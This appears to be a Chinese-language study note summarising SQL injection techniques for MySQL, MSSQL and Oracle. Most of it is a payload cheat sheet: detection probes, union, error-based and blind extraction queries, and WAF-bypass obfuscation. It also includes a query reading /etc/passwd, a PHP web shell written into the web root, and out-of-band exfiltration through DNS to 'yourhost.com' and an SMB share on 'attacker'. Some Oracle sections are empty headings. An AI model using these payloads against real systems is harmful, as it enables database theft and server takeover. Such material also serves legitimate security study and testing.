【28】WEB安全學習----SQL注入總結
檢測注入
不管什麼資料庫注入,檢測是否有注入點是第一步,而檢測的方法大同小異。
1、閉合SQL拼接語句
要想進行下一步注入,首先需要閉合SQL語句,如何知道閉合符號是什麼呢?可通過在引數後面加入單引號或雙引號使其整條SQL拼接語句失敗,從而可從資料庫報錯資訊得知,若沒有資料庫報錯資訊,則只能Fuzz了。
$sql="SELECT username,passwd FROM users WHERE id={$id}"; $sql="SELECT username,passwd FROM users WHERE id='{$id}'"; $sql="SELECT username,passwd FROM users WHERE id=({$id})"; ......
2、檢測注入點
可通過邏輯測試、算術運算等方式檢測是否存在注入點:
對於數值型引數來說,可進行算術運算、邏輯運算或函式 id=3-1 //返回id=2的結果,說明進行了算術運算 id=1/1 id=1/0 id=1 and 1=1 //永真 id=1 and 1=0 //永假 id=abs(-2) //返回id=2的結果 對於字串型引數來說,可進行算術和邏輯運算 id=1' '1' //不同資料庫,字串連線符不同,MySQL為空格、oracle為||、sqlserver為+ id=3'-'1' //字串的相減,顯示轉換為數字進行運算(MySQL資料庫) id=1' and '1'='1' id=1' and '1'='0' 當然,以上是針對布林型盲注和非盲注,如果網頁不返回資訊無法進行資訊判斷,則只能進行時間盲注測試。 id=1' if(2>1,sleep(5),0)
MySQL
資料庫標識
可通過MySQL獨有的標識進行資料庫判斷。
描述 | 語句 |
---|---|
時間延遲函式 | id=1' and sleep(5)=1-- 和BENCHMARK()函式 |
# | id=1'%23 //#註釋符為MySQL獨有 |
字串連線 | id=' 'mysql'-- //空格為MySQL字串連線符 |
錯誤訊息 | id=' //通過無效語法觸發資料庫錯誤有時會返回包含DBMS名稱的詳細錯誤訊息。 |
版本測試 | id=3/*!40094 -1*/; //若返回id=2結果,則運行了註釋符裡的-1 |
基本知識
描述 | 語句 |
---|---|
資料庫版本資訊 | version()、@@version |
使用者資訊 | user()、current_user()、system_user()、session_user() |
當前資料庫 | database()、schema() |
安裝路徑 | @@basedir |
資料庫檔案路徑 | @@datadir |
資料庫開放埠 | @@port |
主機名 | @@hostname |
作業系統平臺型別 | @@version_compile_os |
資料庫使用者及密碼 | SELECT User,Password FROM mysql.user |
MAC地址 | uuid():最後12位數字由介面MAC地址組成 |
列舉列數/欄位數 | order by 2、group by 2、into @ ,@、and (SELECT * FROM table_name)=2 |
條件判斷 | IF(exp,v1,v2) |
聯合查詢注入
基於聯合的SQL注入允許攻擊者通過擴充套件原始查詢返回的結果來從資料庫中提取資訊。 僅當原始/新查詢具有相同結構(列的數量和資料型別)時,才能使用聯合運算子。
id=1' UNION SELECT VERSION(),NULL--
獲取資料庫
//通過limit控制符返回指定行記錄
SELECT schema_name FROM information_schema.schemata limit 2,1;
//通過group_concat()函式一次得到所有記錄
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
獲取表
SELECT table_name FROM information_schema.tables WHERE table_schema='DB_name' limit 1,1;
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='DB_name';
獲取欄位
SELECT column_name FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name' limit 2,1;
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name';
報錯注入
當無效輸入傳遞給資料庫時,通過觸發資料庫中的錯誤來利用基於錯誤的注入。錯誤訊息可用於返回完整的查詢結果,或獲取有關如何重構查詢以供進一步利用的資訊。
描述 | 語句 |
---|---|
XML解析錯誤 | SELECT extractvalue(1,concat(0x3a,(select version()))); |
XML解析錯誤 | SELECT updatexml(1,concat(0x7e,(select user()),0x7e),1) |
floor | SELECT concat(version(),floor(rand(0)*2)) |
id=1' AND SELECT extractvalue(1,concat(0x3a,(select version())))--
布林盲注
布林盲注是指根據返回的HTTP狀態程式碼或HTML響應內容、內容長度等進行判斷的查詢,分真1和假0兩種狀態。
//判斷資料庫版本
SELECT 1 AND (SELECT MID(version(),1,1))='5'
//採用二分搜尋法
SELECT '1' AND ORD((SELECT MID(current_user(),1,1)))>64
//採用按位比較法
SELECT '1' AND ORD((SELECT MID(current_user(),1,1))) & 16
//正則表示式法
SELECT '1' AND ((SELECT current_user()) REGEXP '^roo')
時間盲注
當無法從返回的資訊中獲取真假狀態,那麼可通過構造時間延遲從網頁返回時間判斷。
描述 | 語句 |
---|---|
延遲若干時間 | SELECT '1' AND IF(2>1,sleep(5),0) |
執行指定表示式次數 | SELECT '1' AND IF(2>1,BENCHMARK(9999999,sha1('ddddd')),0) |
SELECT '1' AND IF((SELECT ORD(MID((user()),1,1)))>64,BENCHMARK(9999999,sha1('ddddd')),1)
SELECT '1' AND IF((SELECT ORD(MID((user()),1,1)))>64,SLEEP(5),1)
混淆查詢
混淆查詢幫助繞過Web應用程式防火牆(WAF)和入侵檢測/預防系統(IDS / IPS)。以下是基本查詢混淆的示例,它們在應用於某些注入之前可能需要進行修改。
描述 | 語句 |
---|---|
ASCII>字元 | SELECT char(97,100,109,105,110) |
字元> ASCII | SELECT ascii('A') |
十六進位制 | SELECT 0x4A414B45 |
Hex> Int | SELECT 0x20+0x40 |
空格繞過 | SELECT/**/version()、UNION(SELECT(passwd)FROM(users)WHERE(id=1)) |
關鍵字元繞過 | 大小寫、雙字元:UNIunionON、雙重URL編碼、SELECT /*!version()*/ |
引號繞過 | SELECT CONCAT(CHAR(39),CHAR(65),CHAR(75),CHAR(39)) |
比較符繞過 | in、between、strcmp、greatest |
讀寫檔案
需要特權使用者及secure-file-priv的值為空(目錄許可權無限制)。
//讀檔案
SELECT LOAD_FILE('/etc/passwd');
//寫檔案
SELECT 'eval($_POST[\'a\']); ?>' INTO OUTFILE '/var/www/shell.php'
帶外通訊
描述 | 語句 |
---|---|
DNS 請求 | SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW), 'yourhost.com\\')) |
SMB 分享 | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
HTTP 伺服器 | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
MSSQL
資料庫標識
可通MSSQL獨有的標識進行資料庫判斷。
描述 | 語句 |
---|---|
錯誤訊息 | id=' //通過無效語法觸發資料庫錯誤有時會返回包含DBMS名稱的詳細錯誤訊息。 |
WAITFOR 函式 | id=';WAITFOR DELAY '00:00:5'; -- |
基本知識
描述 | 語句 |
---|---|
資料庫版本資訊 | @@version、@@servername 伺服器主機名、host_name() 伺服器主機名 |
使用者資訊 | SUSER_SNAME()、SELECT user、SELECT system_user、SELECT user_name() |
所有資料庫 | SELECT name from master..sysdatabases、SELECT name from sys.databases、 |
當前資料庫 | SELECT db_name() |
當前資料庫所有表 | SELECT table_name FROM INFORMATION_SCHEMA.TABLES |
當前資料庫所有欄位 | SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS |
資料庫檔案路徑 | SELECT physical_name FROM sys.database_files |
獲取指定行記錄集(limit) | SELECT TOP 1 name FROM sys.databases WHERE name NOT IN (SELECT TOP 1 name FROM sys.databases) |
聯合查詢注入
基於聯合的SQL注入允許攻擊者通過擴充套件原始查詢返回的結果來從資料庫中提取資訊。 僅當原始/新查詢具有相同結構(列的數量和資料型別)時,才能使用聯合運算子。
id=1' UNION SELECT @@version,NULL--
獲取資料庫
SELECT TOP 1 name FROM sys.databases WHERE name NOT IN (SELECT TOP 1 name FROM sys.databases);
當前資料庫中獲取表
SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN (SELECT TOP 1 table_name FROM information_schema.tables);
當前資料庫中獲取欄位
SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN (SELECT TOP 1 column_name FROM information_schema.columns);
報錯注入
當無效輸入傳遞給資料庫時,通過觸發資料庫中的錯誤來利用基於錯誤的注入。錯誤訊息可用於返回完整的查詢結果,或獲取有關如何重構查詢以供進一步利用的資訊。
描述 | 語句 |
---|---|
顯式轉換 | SELECT convert(int,(SELECT @@version)) SELECT cast((SELECT @@version) as int) |
隱式轉換 | SELECT 1/@@version |
布林盲注
布林盲注是指根據返回的HTTP狀態程式碼或HTML響應內容、內容長度等進行判斷的查詢,分真1和假0兩種狀態。
//採用二分搜尋法
SELECT '1' AND ASCII((SELECT SUBSTRING(db_name(),1,1)))>64
//採用按位比較法
SELECT '1' AND ASCII((SELECT SUBSTRING(db_name(),1,1))) & 16
時間盲注
當無法從返回的資訊中獲取真假狀態,那麼可通過構造時間延遲從網頁返回時間判斷。
描述 | 語句 |
---|---|
延遲若干時間 | SELECT WAITFOR DELAY '00:00:5' |
Oracle
資料庫標識
可通Oracle獨有的標識進行資料庫判斷。
描述 | 語句 |
---|---|
字串連線符 | id=1' || '1-- |
DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間) 函式 |
基本知識
聯合查詢注入
基於聯合的SQL注入允許攻擊者通過擴充套件原始查詢返回的結果來從資料庫中提取資訊。 僅當原始/新查詢具有相同結構(列的數量和資料型別)時,才能使用聯合運算子。
id=1' UNION SELECT user,NULL FROM dual--
獲取表
獲取列
報錯注入
當無效輸入傳遞給資料庫時,通過觸發資料庫中的錯誤來利用基於錯誤的注入。錯誤訊息可用於返回完整的查詢結果,或獲取有關如何重構查詢以供進一步利用的資訊。
描述 | 語句 |
---|---|
無效的HTTP請求 | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
無效的XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
無效的XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
無效的XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
布林盲注
布林盲注是指根據返回的HTTP狀態程式碼或HTML響應內容、內容長度等進行判斷的查詢,分真1和假0兩種狀態。
時間盲注
當無法從返回的資訊中獲取真假狀態,那麼可通過構造時間延遲從網頁返回時間判斷。
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)函式進行時間盲注,這個函式可以指定延遲的時間。